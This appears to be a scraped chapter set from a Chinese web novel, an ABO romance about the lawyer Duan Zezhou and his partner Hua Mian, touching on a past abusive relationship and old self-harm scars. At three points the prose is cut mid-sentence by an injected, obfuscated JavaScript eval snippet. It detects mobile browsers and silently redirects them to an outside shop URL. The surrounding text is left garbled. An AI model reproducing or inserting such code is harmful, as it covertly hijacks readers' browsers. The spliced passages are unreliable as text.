花眠美滋滋地拨开这颗爱媛,连白色的筋都挑得干干净净后,掰了一瓣放到段泽洲嘴里:“好吃吗?” 段泽洲面容扭曲地说:“酸死我了!” 花眠不信,自己也掰了一瓣放进嘴里,然后同样面容扭曲地说:“真的好酸!” 两个人凑合着吃了这个爱媛,期间很是上演了一番尊老爱幼互相谦让,谁都不想让对方少吃一点,总算是把这个酸掉牙的爱媛干掉了。 段泽洲嘴都麻了:“我在他们那儿吃的也没这么酸啊!” 花眠已经瘫倒在沙发上了,出个声儿都觉得嘴里难受。 两个人一坐一躺,默默无言地在沙发上沉默了一会儿。 几分钟之后,花眠终于觉得自己缓过来了。他从沙发上爬起来,靠在段泽洲肩膀上,说:“今天回去又遭受什么批评啦?” 段泽洲走律师这条路是被段恒逼的——他们这间律所,是段恒和另一位合伙人一起设立的。 母亲是一名法医,也任海城医科大学的教授。 乍听起来会是很可怕的家庭氛围,但好在老头老太太性格都不错,教育孩子也很有自己的方法。 段泽洲成年之后,他们对待这个唯一的儿子,基本上是抓小放大——大事让段泽洲自己决定,只管些鸡毛蒜皮的小事,像什么吃外卖、吃水果、穿衣服、调整作息之类的,听得段泽洲火大。 听到花眠的话,段泽洲笑了一下,说:“还是老一套呗,还能说什么。” 之后,段泽洲思考了几秒钟,又说:“提了一嘴沈重的事。” 段恒和沈重的父亲、钟意的母亲算是青梅竹马一起长大的,虽说长大之后各自走上了不同的道路,但这么长时间的交情,就算是看着祖上的面子,也总要维持表面上的和平。 当时段泽洲和沈重闹得那么不愉快,段恒和沈重的父亲也没有撕破脸。 这些事,花眠都是知道的。 段泽洲继续说:“你也知道,沈家对沈重没那么看重,所以葬礼办得很简单,也没有请任何人。我爸本来是觉得毕竟也算是有交情,该出席一下,但怕你觉得不舒服,就让我问问你的意思。” 他用下巴碰了碰花眠的额头,温声说:“你不要觉得这是负担,因为沈家本来也没有邀请。如果你觉得……有什么不好,那你就告诉我。” 花眠没说话。 花眠是个体贴也体面的人,这样的沉默,就是他的回答。 段泽洲明白了他的意思,说:“我给我爸转点钱过去,让他转交给沈伯父吧。” 花眠张了张嘴,不知想说什么。 他又沉默了一会儿,那些话咽回了肚子里。 那晚睡觉时,段泽洲发现卧室里微妙地多了一些东西。 比如床头上放了一盒头绳,卫生间里多了一瓶果香味的洗发水,小沙发上多了一个柔软的鹅黄色小抱枕。 渐渐开始有了些两个人一起生活的痕迹。 他心情很好地拉着花眠坐到床上,指了指自己的侧脸:“亲一下。” 花眠很乖地靠过去,小鸡啄米一样吧唧亲了一口。 这天晚上,段泽洲同样不知道花眠什么时候睡着的,次日睡醒后,也同样在自己怀里摸到了一个熟睡的小爱人。 * 再之后的日子过得还算安生。 花眠进入了期末周。 好在大四的课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17033515|194592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 程没那么多,一共只有一门必修和一门选修。 花眠学习成绩还行,是勉勉强强能拿个最低档奖学金的水平。 最近他跑学校的次数多了一些,但他还是没办法像其他同学一样整日赖在老师的办公室求他们画些重点,便窝在图书馆,等待好心同学的投喂。 在同学面前,他不太爱说话,但他长得好看,人也不傲气,人缘还算可以。 这天他去了一趟宿舍。 他不住宿舍,一早就退了床,这个床位被其他几位室友改造成了储物间。现在快毕业了,堆满了各色的考研资料和宣讲广告。 花眠好奇地看了一会儿,笑了笑。 他的室友有个挺活泼的Alpha,叫柴璇璇,同学们叫他小柴,他总是很不满意,觉得像在叫狗狗。 小柴挥了挥自己的笔记,说:“借你复印。” 花眠立刻道:“谢谢你啊。” 小柴约了女朋友出去吃饭,刚好要出门,便和花眠一道出去。 路上小柴问起花眠以后的打算:“以后怎么打算?我看你没有准备考研哦?” 花眠摇了摇头:“没有呢。” 花眠现在这个学费,还是段泽洲付的。 他实在不好意思让段泽洲再给他继续支付学费了。 花眠没有父母,在最该和同龄人放肆交流的年纪又遇人不淑,终于摆脱枷锁后,他身边只有一个段泽洲。 段泽洲是爱人,是朋友,也是兄长。 他对花眠有种过度的溺爱,但花眠并不能一直这样心安理得地接受着段泽洲的付出。 段泽洲曾说给他开间甜品店,反正他喜欢做这些。 但花眠想了想,还是拒绝了,拒绝的理由也很有趣:“我不想自己开店,我想去别人的店里打工。” 他到现在仍然愿意这样,只是……毕竟总也不见外人,心里还是有些抵触。 他想了一会儿,和小柴说:“大概还是先维持现状呢,柴柴。” 柴璇璇很不满地说:“什么‘柴柴’?不许叫我‘柴柴’!” 花眠小心地说:“好吧,柴柴。” “可恶,花眠!”柴璇璇怒道,“你好烦!” 花眠笑弯了眼睛。 * 段老师养花日记(2) 果然是腿部骨折了。 问了一下还是个无父无母的小可怜蛋,段老师发挥了自己出色的同情心,帮他办了入院手续,还垫付了医药费,功德+1(敲木鱼)。 来的交警还是个老熟人。 哼哼,别想讹我。 但这人有点意思哈,他居然主动说是他全责,不关我的事。 看他如此诚实,段老师又心软了,下楼点了个很好吃的外卖请他吃饭。 他又不吃,浪费。 我说:“小朋友,你不好好吃饭,难怪这么瘦。” 我还吓唬他:“不好好吃饭,你腿也好不了。” 花眠看我。 很憔悴,也很平静。 他没回答我的话,只让我走,说什么我再不走就走不了了。 说完他又不理我了,盖上被子往头上一蒙,说要睡觉。 我真的是无语,他床都没摇下来,没见过有人这么睡觉的。 临走时我不放心,又看了一眼。 这人维持原样躺在床上。 看着挺可怜的,连呼吸都很微弱的样子。 我真是太善良了,我又回去把窗户给他关上了。 段老师功德+1+1。 住院部楼下的花坛不知道多久没人清理了,很多花都枯萎了。 我看了一眼,不知怎么想起了楼上的人。 他也很像一朵枯萎了的花。 6.06 结束了一天的工作后,段泽洲正准备下班回家,恰巧在这时收到了花眠的消息。 段泽洲知道花眠今天要去学校。花眠看来是心情不错,弄好要做的事情后,他在学校门口的奶茶店喝奶茶,这会儿发来消息,问段泽洲下班没有,让他一起过来喝奶茶。 段泽洲说“行”。 去接花眠的途中,段泽州拐进了一条小路,先去买了一盒麻薯。 花眠对这些甜品情有独钟,他爱做,也爱吃。但他的口味并不重,也不是真的很爱吃甜,很多甜品店里卖的东西都不太合他的口味。 这家店的麻薯甜度刚刚好,花眠很喜欢。 在一起的这几年里,段泽洲的口味也不知不觉发生了变化,逐渐爱上了这些甜点。 海城这些有名的甜品店基本快被他们两个跑遍了。 段泽洲到的时候花眠正捧着两杯咖啡坐回座位上,那人见到他后,快乐地跟他打招呼:“段老师!” 段泽洲笑道:“哎呦,今天心情这么好啊。” 花眠笑眯眯地给他展示手里的咖啡:“我买到了威士忌风味的拿铁!” 段泽洲把他搂进怀里,两个人像连体婴儿一样找了个位置坐下。他把手里的袋子放到桌上,说:“巧了,我也买到了好东西。” 他先把那盒麻薯拿出来放到桌上,又去拿另一杯饮品,很得意地说:“我买到了一杯榛果可可,有没有人要喝。” 花眠动作一顿,抿着嘴笑着瞪他。几秒钟后就破了功,一把抓过那个袋子,戳开奶茶包装后,吸溜吸溜地喝着。 段泽洲逗他:“好喝吗?甜吗?” 花眠挑剔地说:“榛子味道很好喝,可可太甜了。” 段泽洲戳戳他的脑门:“你还挑挑拣拣上了。” 两人该吃的吃,该喝的喝,正准备找个餐厅吃饭时,段泽洲的手机响了。 段泽洲刚接起电话,就听到对面炮轰一样的声音:“段老师!小曼去不了了!他到发热期了!” 段泽洲“啊”了一声,说:“哦。” 对面很愤怒:“自己也不提前算好时间,明天就要出差了,今天才跟我说!” 这人是个Beta,不受信息素和发热期的干扰,大晚上的还在处理工作,大概也是被气疯了,说起话来有点儿不管不顾了:“就不能坚持一下吗?这么大的案子、这么大的事儿,也不提前通知,说撂挑子就撂挑子。要我说啊,以后这些Alpha和Omega真是不能招,还是我们Beta最省心。” 段泽洲立刻说:“哎哎,祸从口出,祸从口出,这叫什么话?不要在这儿挑起AB之间的对立啊。” 对面那人这才想起来段泽洲也是Alpha,赶紧找补了一句:“段老师就从来没有因为易感期耽误过工作。” 段泽洲脸都麻了,心想我的天呐,当着花眠面儿你真是哪壶不开提哪壶,别在这胡说八道了! 他赶紧说:“行了行了,越不让你说你越说,哪那么多废话,没完没了了。” 他赶紧说回工作:“明天那个案子我去吧。” 对面愣了:“小曼一个助理请假就请假了,没必要惊动您吧。” 段泽洲说:“你知道个屁。我本来也准备去。转刑事的案子,我怎么也得出面一趟,这次案子闹这么大。” 这倒是真的。 这类刑事类的案子,段泽洲要么自己亲自上,要么就从头到尾一直监督着,一点都不会放松。 挂断电话后,段泽洲扭头一看—— 花眠正耷拉着眼睛,撅着嘴看他。 这两年稍微好一些了,刚谈恋爱的时候段泽洲经常出差,每次出差回家都能在家里捡到一个可怜巴巴的小花眠。 后来段泽洲名气越来越大,能惊动他的案子越来越少,他出差的频率也减少了很多。 花眠也不说话,就瘪着嘴往段泽洲肩膀一靠。 段泽洲动了动胳膊,把他搂到怀里,说:“之前有个民事诉讼,现在转刑事了。你知道的,我们律所刑事的案子我都会去看一看。” 说着,段泽洲从手机里调了几个能给花眠看的文档,又大致讲了一点案子的背景,说:“也不远,就在隔壁省。” 花眠当然知道这是段泽洲的工作,也绝对没有影响他工作的意思,只是,这趟出差难免还是要走几天,他心里想念得紧。 花眠搂着段子洲的胳膊说:“要不然我跟你一起去。” 段泽洲非常惊喜,也很难以置信地低头看他:“你想来吗?” 花眠其实只是随口那么一说。看到段泽洲欣喜的表情后,心里倒真的有了那么点念头。 只是他琢磨了一会儿,到底还是不想去那么远的地方。 段泽洲向来是看得懂这些的,他看到花眠脸上露出一点点为难的表情后,便主动开口说道:“我这是工作,带家属不好,下次休年假带你去那边玩。” 花眠应了一声,笑弯了眼睛,说“好”。 * 吃过晚饭回家后,花眠先去洗澡,段泽洲坐在卧室的沙发上看了一会儿案子的情况。 一小会儿后,花眠洗完澡出来了。 从前他们不住在同一间卧室,后来虽然搬到同一间卧室,但先洗澡的往往都是段泽洲。 今晚这样的场面真是不多见。 段泽洲抬头看了他一眼,不动声色地换了个姿势,收起了手里的卷宗。 段泽洲对花眠不是见色起意,但不代表他对花眠没有这方面的欲望。 更何况……如果只说外表,花眠实在有一副非常有性吸引力的皮囊。 他的身上总是有种很和谐的矛盾感。 他对人防备,脸上的表情却总是带着一股天真。不喜欢和陌生人交流,却也总能释放自己的善意。 花眠擦着头发坐到段泽洲身旁,带着水汽的身体凑到他的身边。 他本想问问段泽洲,这个案子压力这么大吗,能让他在晚上还在翻阅这些资料。 没想到还没开口,就被段泽洲揽着腰亲了一下鼻尖。 被热水蒸热的脸庞浮上了新的红晕,花眠羞怯地搂住段泽洲的腰,扎进他的怀里。 洗过澡后的夜晚是一个太过暧昧的场景,花眠同样也是Alpha,他很明白那些不太明显的身体上的变化。 他在段泽洲看不到的地方抿了抿嘴,手指搓了又搓,下定决心一样仰脸问道:“段老师?” 段泽洲“嗯”了一声,低头看他。 花眠没有说话。也许是在犹豫着如何开口,也许只是单纯觉得,以两人之间的默契,很多事情并不需要真的开口。 段泽洲却在沉默了几秒之后轻轻摇了摇头。说:“不用”。 花眠看向他的乌黑双眼远比身旁的台灯更加明亮,被这样一双眼睛注视着时,段泽洲竟觉得有种不知所措的感觉。 他清了清嗓子,伸手将台灯调成暖黄色。 再望向花眠的时候,那人神色依旧。 花眠自然也知道他在想什么,犹豫了一会儿后小声说:“我觉得我可以。” 他这样说着,却又立刻紧张地眨了眨眼睛。 情侣间这些自然而然可以发生的事情,在段泽洲和花眠这里,发生过的概率少得可怜。 一开始是花眠不想。他不太愿意,对这些事也没有什么太好的记忆。段泽洲尊重他,在最初几次的尝试过后,也就算了。 再后来是…… 好在两个人对这方面的需求都……还好,时间长了,也就这样了。 但这一次…… 花眠又眨了眨眼睛,神色不像勉强。他更紧地环住段泽洲的腰,脸贴在他的肩膀上,小声地犹豫着说:“我觉得……应该可以,吧。” 他说得很小心,清新的沐浴露香气夹杂着一点若有若无的榛子香味,甜甜地钻进段泽洲的鼻子里。 他往爱人的怀里靠得更深,说话的声音含糊得闷在怀里,却又那样清晰地落进段泽洲的耳朵里。 他说:“我们、我们在一起这么多年了。” 他偷偷抬头看着段泽洲,忐忑的视线直直落入那人眼中。 段泽洲短暂地挪开了视线,再看向花眠时,视线里带了点重量。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17045390|194592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他微微用力,揽着花眠的腰放到了膝盖上。 花眠嘴上说他可以,真的上手时还是哆嗦。段泽洲用额头抵着他,语气里带着没有恶意的调笑。 他还叫他:“花老师?” 尾音一扬,调侃的意味更明显了。 花眠脸颊微红,恼怒地瞪了他一眼。 大约半个小时之后,段泽洲伸手,去沙发旁的小茶几上抽了几张纸给花眠擦手。 花眠接过来,微微侧过身子,不让段泽洲给他擦,只留下通红的耳根。 段泽洲不是会把情情爱爱挂在嘴边的人。相爱的这些年里,段泽洲说爱的次数实在不怎么多。 他的爱都在那些日常的相处里。 但现在这一刻,花眠坐在他的怀里,小恋人温热的呼吸洒在他的颈窝上,这一刻,段泽洲觉得自己好像抱着全世界。 他用唇碰碰花眠的额头,思绪翻涌。 几秒钟之后,他按下心里所有的情绪,只低声对花眠说:“眠眠,我爱你。” * 寒冷的冬夜里,爱人的怀抱就是最好的避风港。 花眠记不清自己前一晚几点入睡的,第二天起床时,段泽洲已经去赶早班的飞机了。 他看看手机,微信里还躺着段泽洲的抱怨:【这个时候真的很想鲨了小曼,起这么早我不想活了[晕倒]】 花眠揉了揉眼睛,笑了。 今天他仍然要去一趟学校——他要去给柴璇璇送个东西。 柴璇璇的女朋友快过生日了,两个人感情稳定,对未来的规划也很清晰。 考研的考研,工作的工作。感情顺顺当当,前途一片光明。 女孩就要过生日了,柴旋旋琢磨着送她个有点意义的礼物,于是自己攒钱买了一个金制的小吊坠。 花眠见到了主动说,我来帮你编个编绳吧。 花眠手巧,做起这种小玩意得心应手。 他从包包里拿出编好的手绳递给柴璇璇。 “花眠花眠,你太厉害了!”柴璇璇连连感慨道,“你这个比我在店里看到的还好看!店里要收我50块钱!” 柴璇璇美滋滋地给女友拍了张照片,收下后还在调侃自己:“柴柴我啊,就是那种会花900块钱买个小吊坠,但不愿意花50块钱买编绳的人!” 花眠说:“50块钱好贵呀,以后有需要你再找我,我还帮你编。” 和柴璇璇道别后,花眠在学校里晃荡了几圈。 说来惭愧,在这所大学里念了近三年,现在快毕业了,他都还没有好好逛一逛校园。 他慢悠悠地转着,还在校门口好几个摊位上买了小零食吃。 花眠自己也会做这些,真要比起来,这几个小零食的味道都不如他自己做的好吃。 他慢吞吞地啃完了手里的食物,打算回家时,忽然被人认出来了。 “小帅哥,好久不见啊!你怎么来这里上学了?”叫住他的是个满头白发的老奶奶,她挺惊喜地说,“你以前不是在这儿念书啊。” 花眠一时之间没有反应过来,看向这位老人时也并没有觉得太眼熟。 直到……她提起另一所大学名字的时候,花眠浑身一震。 “我记得你以前在这里上学的呀!”老人无知无觉,继续问道,“你男朋友呢?今天没来陪你哇?” 花眠心里一冷,面上挤出个难看的笑,胡乱搪塞了过去。 他不想再和这位老人多说,即便知道那人只是善意地打个招呼,也实在无法控制地迁怒了她。 他快步离开学校,走出几百米后再回头看看—— 那位老人已经在给其他同学装烤红薯了。 北风刺骨,短短几分钟内,花眠的脸颊都被冻得发木。 他艰难地咽了一口口水,再次转过身想要回家的时候,又觉得这样简单的动作都很吃力。 花眠按了按自己的心口,伸出手的时候,他发现他的手指都在颤抖。 这位卖红薯的老奶奶口中的学校,是他从前念过一年的大学,她口中的那位“男朋友”,指的自然是沈重。 7.07 花眠和沈重的相遇相识,是一场精心策划、筹备已久的“偶然”。 那时花眠刚上大一。 他的父母在他很小的时候就相继离世了,他生活得很孤僻,也不太会交朋友,对于主动释放善意的人,便毫无防备地接受了。 沈重就是在这个时候出现的。 第一次见面,就是在这位老奶奶的红薯摊上。 那天花眠有晚课,下课的时候已经九点了。 冬夜寒冷,花眠和其他同学一样,想买个烤红薯暖暖身体。 他搓着手站在一群人后面,安静地等待排到自己。 这时,身旁有个人撞了过来——确切地说,那人也是被别人一把推过来的。 他踩到了花眠的脚,动作间还不小心拽掉了花眠的包。 那人很不好意思,冲他道歉:“抱歉。” 花眠摇了摇头,说“没事”。 一把推开他的那人也是学校的学生。这个年纪的半大男孩,抢起吃的来一点没有风度。 花眠眼见着那人被人群越挤越向后,排了半天队,位置非但没有往前走,反而越来越靠后。 花眠偷偷打量了他一眼,觉得他真奇怪。 几分钟后,刚才一把推开那男人的同学终于挤到了花眠身边。此人打算故技重施,仗着自己又高又壮,又想把花眠挤到身后。 “……”花眠推推他的肩膀,“同学,我排在这里的。” 就在这时,刚才那个男人又过来了。 他带着点笑意,温声说:“小同学,要排队啊。” 花眠回头看看—— 他这才发现,原来那男人身材也很高大,只是不知怎地,全身都笼着一股病气。 不甚明亮的冬夜里,男人的脸色在昏暗的路灯下透着一股极不健康的灰白。 想插队的男同学先后被两人戳穿后有点恼羞成怒了,悻悻地找了个地方,老实地排着队,只偶尔投过来一个很不满的眼神。 几分钟后,花眠终于等来了自己的烤红薯。 红薯软糯香甜,捧在手里很烫,可花眠却因为刚才的插曲,失去了好好品尝烤红薯的心情。 离开摊位时他又回头看了看,没再看到刚才那个高大的男人。 再遇到那人,是在几天之后。 那一次,花眠在买奶茶。 他提前在手机上点了单,到店里的时候却被告知被别人错拿了。 花眠:“?” 他手足无措地看着店员向他道歉,并手忙脚乱地为他重新做了一杯。 “不好意思,我以为是我点的。”身后传来了一个略显抱歉的声音,“我也点的茉香奶绿,没注意看号码,不好意思啊。” 不是什么大事,花眠并不觉得有什么连连道歉的必要。他转过身去,想和那人说“没关系”,一扭头却愣住了。 是前两天晚上在烤红薯摊子上遇到的那个人。 那人见到花眠,同样也愣住了:“哎,小同学,是你啊。” 他挺自来熟地和花眠打招呼:“前两天晚上见过一次,你还记得我吗?” 花眠点了点头:“记得。你也是我们学校的学生吗?” 那人笑着摇了摇头,说:“我已经毕业啦,这儿是我的母校,我时常会回来看看。” 他放下那杯没怎么喝过的茉香奶绿,冲花眠伸出了手:“这么有缘,认识一下吧,我叫沈重。” 据沈重说,他去年就从学校毕业了,他工作的地方离学校很近,便时常回来看看。 花眠本想回宿舍,但沈重说,他回家同样是这条路,又刚好想去买学校东门那一家炒饼吃,于是两人便很奇怪地走了同一条路。 好在沈重还算健谈,路上一直找着不怎么尴尬的话题和花眠聊着天。 他听说花眠念的是市场营销,惊讶地说:“这也太巧了吧,我也学市场营销。” 说着他还提起某位老师的名字:“你上过他的课吗?” 花眠说:“现在还没有,下学期才有。” 沈重点了点头,“哦”了一声,说:“过去太久了,我都记不清了,好像是大一下才开这门课。他是我的毕业论文导师,很好的老师。” 沈重说着,好像真的陷入了那些回忆里,他抬头看看天空,挺惆怅地说:“好想再回去读书啊。” 他很有些苦恼:“上班好累啊。” 花眠倒是想快点毕业去工作。 但他什么都没说,只沉默着,扮演一个安静的倾听者。 但沈重又没再继续说这些。 他掏出手机,找出一张照片给花眠看。 是他毕业时和那位老师的合影。 然后,沈重很自然地说:“同学,我还不知道你叫什么呢。” 他冲花眠晃了晃手机,说:“加个微信吧。” 再之后,他和花眠就这样熟悉了起来。 沈重工作不忙,时常会来学校逛逛。 他解释说:“我身体不太好,家里不指望我赚钱养家,我也没什么上进心,每天在公司就是混日子。” 说这话的时候他正拎着一袋板栗和花眠分着吃。 闻言,花眠微微抬头看看沈重—— 沈重的模样和初见那一晚一样,依然整个人都带着浓郁化不掉的病气,手背的皮肤泛着不常见太阳的、毫无血色的惨白。 看上去的确是身体不太好的样子。 花眠琢磨了一下,还是决定关心关心面前的人:“看你好像是身体不太好的样子。” 沈重有些无奈地笑了:“我有基础病,常年靠吃药维持着。” 说到这里,沈重似乎有些犹豫。 他搓了搓手,有些局促地说道:“花眠,其实……其实我是Alpha。” 花眠略有些惊讶地瞪圆了眼睛:“啊?” 说罢又觉得自己这样的反应不太礼貌:“不好意思,我没有别的意思……我以为你是Beta。” Alpha、Beta和Omega作为第二性别,和男女一样,是肉眼就能做出区分的。 最初花眠也有过犹豫,毕竟从外形上来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17057002|194592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,沈重怎么看都是Alpha。 但认识了这么久,花眠从未闻到过他身上有任何一种信息素的味道。 沈重知道花眠在想什么,主动开口解释道:“就是因为我身体不好,常年服药,造成了一些损伤——我的腺体坏掉了。” 花眠自己也是Alpha,自然明白“腺体坏掉”这种事意味着什么。 沈重不会再产生信息素,也不再有易感期,甚至……他很可能不会再有生育能力——如果,沈重未来和一位Beta或者Omega结婚,他可能没有办法给他的伴侣一个孩子。 但沈重显然已经接受了这样的事实,他表现得十分坦然:“这样也好,就当是少个麻烦。” 花眠绞尽脑汁,想出了一点安慰他的话:“Alpha的价值,也不全是因为信息素。” 沈重笑弯了眼睛:“是啊。” * 和沈重的初遇,还是勉强称得上一句美好的——也正常,伪装出来的假象,自然挑不出半点毛病。 毫无防备被重新提起的往事让花眠心中郁结。 在这一刻,他的心情竟比听到沈重死讯时更加复杂。 他失魂落魄地回到家里,又想起段泽洲去出差了,今天不回来。 花眠抱着几件段泽洲的衣服坐在沙发上发呆,一直到8点多才回过神来,随便做了点饭打发了自己。 11点的时候,段泽洲弹过来一条视频通话请求。 花眠用被子裹紧自己,按开了视频。 出差的第一晚,段泽洲必定有躲不开的应酬。 屏幕里,段泽洲的脸上挂着无法忽视的疲惫。他刚结束饭局,衬衫最上面的扣子解开了,早上抓好的发型也没那么板正了。 屏幕边边里还露出了一小截香烟。 花眠眨眨眼睛,决定戳穿他:“段老师,你偷偷抽烟,你不老实。” “……”段泽洲把香烟按灭,“太困了,实在是太困了,刚喝了一杯美式还是困。提提神。” 一句带着抱怨的话语,很神奇地安抚了花眠焦躁的心。 他慢慢地从被子里钻出来,脸上笑意悄然浮现:“段老师辛苦啦。” 段泽洲看来是真的累了,都没有回应花眠的调侃,只强打起精神说了之后的安排:“休息一会儿,他们要做访谈,我去听听。” 花眠这次真心实意地感慨了一句:“太辛苦了,段老师。” 两个人说了一会儿话,段泽洲又开始犯懒了:“要不一会儿我不去了。” 花眠笑他:“你真到老年人作息啦?” 段泽洲瞪他:“我是想跟你说话。” “……”花眠抿了抿嘴,“我也想跟你说话。” 他这么一说,段泽洲更不可能去了。他索性又解开一颗扣子,起身就往床上躺:“不去了。” 花眠在被子里偷偷笑了一会儿后,说起了今晚的正经事:“段老师,我想……去做个美容手术。” 他指指自己侧脸那道不太明显的淡粉色疤痕:“我想把这道疤去掉。” 8.08 花眠不是很爱美的人,对于身上的伤痕也几乎没有遮盖过。 他不常出门,会见到的人,要么是段泽洲的父母,要么是他自己的同学。大家都是有眼力见儿的体面人,谁也不会凑到他脸旁大声嚷嚷着问,你这伤痕是怎么来的。 这几处痕迹,花眠自己不在意,段泽洲也不在意。 今晚花眠忽然提起这个,段泽洲有点惊讶。 像这种时候,作为恋人,段泽洲可以安抚说“不重要,现在这样也好看”。如果他再以自我为中心一点,他还可以说,“无所谓,你什么样子我都喜欢”。 但段泽洲都没有。 他只是说:“吓我一跳。你一说做手术,我还以为是什么大手术。以后说话不许说一半。” 晚上的酒局磨掉了段泽洲的职业带来的小心谨慎和反复揣摩——又或者,在爱人面前,他也不愿意像对待别人一样,带着目的反复揣摩。 他没有过多地、太深入地想些别的,只说:“你想去就去吧。等我回来,我陪你去?” 说着说着他又笑起来:“哎哟我单纯善良的花老师,你自己去啊,我都怕你被医美机构骗了。” 花眠很不服气,又无法反驳:“……我也怕。” 段泽洲干脆利索地拍了板:“那就这样。等我回来就去。” 花眠也笑,脸颊一对浅浅的酒窝生动地跳跃着。 挂断视频后,花眠已经彻底忘记了今天遇到的陌生人,和那位陌生人所带来的那些不好的回忆。 他躺在床上,在各个app里仔细搜索着海城本地有名的皮肤科医院,一一做着对比。 他用手背碰碰侧脸上不太明显的痕迹,想了一会儿,又撩起睡衣的袖子,看了看手腕上深深浅浅的伤疤。 曾经疼痛红肿发痒的伤口早就不再流血了,现在它们安静地躺在那里,再没有吸引花眠任何一点目光。 其实,就算在以前,花眠也并不在意这些——从前他觉得无所谓,才一直懒得去处理这些,现在……他不想留着这些了。 花眠抱着段泽洲的衣服,不知何时进入了梦乡。 * 段泽洲出差在外的这几天,每天早上要抱怨一通“起得太早了活不了了”,每天晚上要抱怨一通“睡得太晚了活不了了”,看得花眠又好笑又心疼。 终于回来之后,段泽洲随便找了个理由给自己放了半天假,躺在沙发上和花眠腻歪。 “我真不行了,受不了了。”段泽洲枕着花眠的膝盖,继续抱怨这出差这几天的工作,“你都不知道,那天晚上,我们桌上三个Alpha干掉了一瓶茅子。我快死了我真快死了,活不了了。” 花眠正在按着他的太阳穴,听到这话后并拢几根手指在他嘴上轻轻抽了一下:“胡说八道。” 段泽洲不老实地哼哼。 抱怨了几句后,段泽洲想起前几天花眠说的美容手术的事,一个翻身坐起:“走,出发。” 花眠顺势靠到他的肩膀上,用自己的侧脸蹭蹭他,说:“不再休息会儿啦?” 段泽洲搂住他的腰,很轻地碰了碰那道淡粉色的伤痕,说:“今天有时间,就今天去,明天又要回去上班了。” 他看着花眠。 不知是不是因为出了一趟差后格外思念,此刻看着花眠,段泽洲有一种很诡异也不合时宜的,觉得……花眠真的蛮漂亮的想法。 他用拇指反复摩挲着花眠的脸颊,最终还是没有忍住,微微低头吻了吻他的脸颊 这个吻的落点,不偏不倚,刚好就在那道伤口上。 花眠觉得有些痒,笑着想要躲开,但最终还是主动凑了过去。 他环住段泽洲的肩膀,很亲密地贴着他。 * 下午两点,某美容机构刚刚开始上班。 前台负责接待的工作人员刚刚打开电脑整理着上午光临的客人,门口的风铃就响了。 她立刻起身,挂上礼节性的微笑:“欢迎光临!” 来者是一位身材高挑纤细的男性Alpha。 他穿着一件焦糖色的短款羽绒服,像一块刚出烤箱的暖烘烘的面包。 走近之后大约觉得热了,他脱掉外套挂在手臂,内里只穿着一件米色的针织衫。 帽子和围巾也都摘下来了。 红色的围巾衬得他肤色更加白皙,头顶的头发被帽子压得起了静电,翘起几根立在头顶上。 有种……Alpha身上很少见的调皮和娇俏。 前台小姑娘也算是见过形形色色的人了,乍一看到来人,还是有些犹豫了——说是Alpha吧,好像有点过分柔美温婉;可要说像Omega吧……好像又不似Omega那般弱不禁风。 女孩没再过多纠结这些,只快步迎上去招待他:“先生!” 那人羞涩地冲她笑笑,很开门见山地说:“我想咨询一下祛疤。” 女孩熟练地找出各项美容手术的菜单,仔细地为他一一介绍着,顺便偷偷打量着面前的人。 那人轻轻“啊”了一声,像是没想到一个简单的小手术竟也有这样多的选择。 他面露难色,手指悄悄蜷缩起来,几秒钟后他说:“呃……我、我先看看。” 就在这时,门口的风铃又响了。 这次,又进来了一位男性Alpha。 他穿着一件黑色的羽绒服——前台小姑娘目光稍移,立刻看出和刚才那位Alpha身上的衣服是同一款! 哦,原来是情侣来的。 她在心里感慨了一句,心想,还蛮配的呢。 * 段泽洲停好车进来后,花眠立刻觉得自己有底气了一些。他拽拽段泽洲的袖子,指着菜单上面的内容,说:“有这几种。” 段泽洲扫了一眼价格,说:“技术上有区别吗?” 花眠有样学样,拽过头去问前台小姐姐:“嗯嗯,请问,技术上有区别吗?” “看看是哪种疤痕呢?根据时间、形状、大小,我们会先大致给个建议呢。” 花眠眨了眨眼睛,伸手指指自己的脸颊:“刀伤。时间大概是……” 花眠想了一会儿,犹豫着说:“应该是三年前。” 实在是……过了太久了。 在回答这个问题的时候,花眠当真仔细回想了很久,才勉强记起个大致日期。 前台挺惊讶地凑过来看看:“三年前?时间不算久呢,看着不明显,应该好修复。” 她带着浅浅笑意安慰花眠:“十年八年的陈年旧伤疤我们也做过,都恢复得很好呢!” 花眠愣了一下。 他原本只是想祛掉脸上的印子。 非要说原因……其实真没有太特殊的原因。 跟沈重没有什么关系,跟谁都没有什么关系,更谈不上什么和过去告别——他身边有段泽洲,他早就不记得别人了。 心血来潮的一个举动,没来得及细想,现在被前台小姐姐提醒了一句,花眠猛然想起另一件事。 他小心撩起自己的袖子,试探地说:“还有……这里。” 